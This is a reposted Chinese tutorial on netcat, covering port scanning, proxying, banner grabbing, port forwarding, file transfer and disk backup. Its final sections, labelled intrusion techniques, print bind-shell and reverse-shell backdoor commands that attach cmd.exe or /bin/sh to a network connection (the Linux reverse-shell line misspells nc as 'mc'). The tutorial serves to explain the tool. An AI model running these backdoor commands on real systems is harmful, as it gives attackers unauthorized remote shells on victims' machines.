基本使用

  1. nc -nv 192.168.1.1 80
-n 不进行域名解析
-v 打印详细信息
-w 超时时间
  1. nc -v -w 5 baidu.com 80 # 测试百度 80 端口是否开启,5 秒后无响应则超时失败

-l 用作服务器
-p 指定端口号
-k 保持监听端口持续开启
-u 使用 UDP 协议
  1. nc -lv -p 8080 # nc 会作为服务器监听本地 8080 端口,客户端第一次连接后端口会关闭
  1. nc -nv -w 5 127.0.0.1 8080 # 连接监听端口

端口扫描

无论是 TCP 还是 UDP,协议规定的端口号范围都是:1 ~ 65535

-z *开启 zero-I/O 模式

*指的是 nc 只判断某个监听端口是否能连上,连上后不与对端进行数据通讯。

  1. nc -znv 127.0.0.1 1-1024 # 扫描 IP 地址为 127.0.0.1 的主机,端口范围从 1 到 1024

*并发扫描开启多个 nc 分别扫描不同的端口段

使用代理

-X 代理类型 [5, 4, connect]
-x 代理地址, 如 127.0.0.1:1080
-q 让 nc 延时 N 秒再退出
  1. nc -X 5 -x 127.0.0.1:1080 -q 3 -v google.com 443

设置别名

  1. alias nc-proxy="nc -X 5 -x 127.0.0.1:1080" # 将其写入 shell 启动文件

之后可以使用:

  1. nc-proxy -v google.com 443

信息收集(用 nc 探测服务器类型和软件版本)

  1. echo "EXIT" | nc-proxy -vq 5 ssh.github.com 22 # 获取 SSH server 版本

隐匿性(用 nc 实现彻底无痕的 Web 访问)

*使用 nc 抓取页面,不会留下浏览器和操作系统信息。

  1. echo -e "GET /index.html HTTP/1.0\r\n\r\n" | nc-proxy -vq 5 baidu.com 80

可以使用 > 将其重定向到 HTML 文件中,方便阅读。

网络配置(基于 nc 的端口转发)

1. 创建命名管道

mkfifo nc_pipe

2. 同时启动两个 nc

nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe
其作用是将本机 1234 端口的流量转发至本地 5678 端口。*-k 让服务器端口保持持续监听

(网络配置)基于 nc 的代理转发

ssh -o "ProxyCommand=nc -X 5 -x 127.0.0.1:1080 %h %p" root@xxx.xxx.xxx.xxx -p 22
*ssh 不支持 socks 代理,所以用 nc 转发

(系统管理)用 nc 传输文件

假设你要把 A 主机上的文件 file1 传输到 B 主机上,保存为 file2。
先在接收端 B 运行如下命令(xxx 为端口号):
nc -l -p xxx > file2
然后再发送端 A 运行如下命令:
nc x.x.x.x xxx < file1

(系统管理)用 nc 远程备份整个磁盘

通过 dd 命令,你可以把整个硬盘或某个分区 dump 成一个文件。
在本示例中,并不需要真的把 dd 命令的输出保存为文件,而是把 dd 的输出通过管道符 | 重定向给本地的 nc,然后让本机的 nc 发送到另一台主机的 nc。

假设你要把 A 主机的 /dev/sda 磁盘的原始数据整个复制到 B 主机的 /dev/sdb 磁盘。
先在接收端 B 运行如下命令:
nc -l -p xxx | dd of=/dev/sdb
然后在发送端 A 运行如下命令:
dd if=/dev/sda | nc x.x.x.x xxx

(入侵手法)用 nc 开启被动连接型后门

-e 可执行文件的路径

设置该选项之后,当处于监听状态的 nc 接受到某个连接,会启动这个可执行文件并得到某个进程,nc 会把该进程的标准输入输出与网络通讯对接。PS:这个进程通常是 Windows 中的 cmd.exe 或 Linux 中的 /bin/sh
Windows:
nc.exe -l -p xxx -e cmd.exe
Linux:
nc -l -p xxx -e /bin/sh
OpenBSD 去掉了 -e 这个选项,但是还是可以用间接的方式达到同样的效果。另外原版 nc 依然有这个选项,nc 的很多其他变种,也依然有这个选项。

(入侵手法)用 nc 开启主动连接型后门

此时受害者的 nc 是客户端,入侵者的 nc 作为服务端。
入侵者开启:
nc -lk -p xxx
Windows:
nc.exe -e cmd.exe x.x.x.x xxx
Linux:
mc -e /bin/sh x.x.x.x xxx

转载于:
扫盲 netcat(网猫)的 N 种用法——从“网络诊断”到“系统入侵”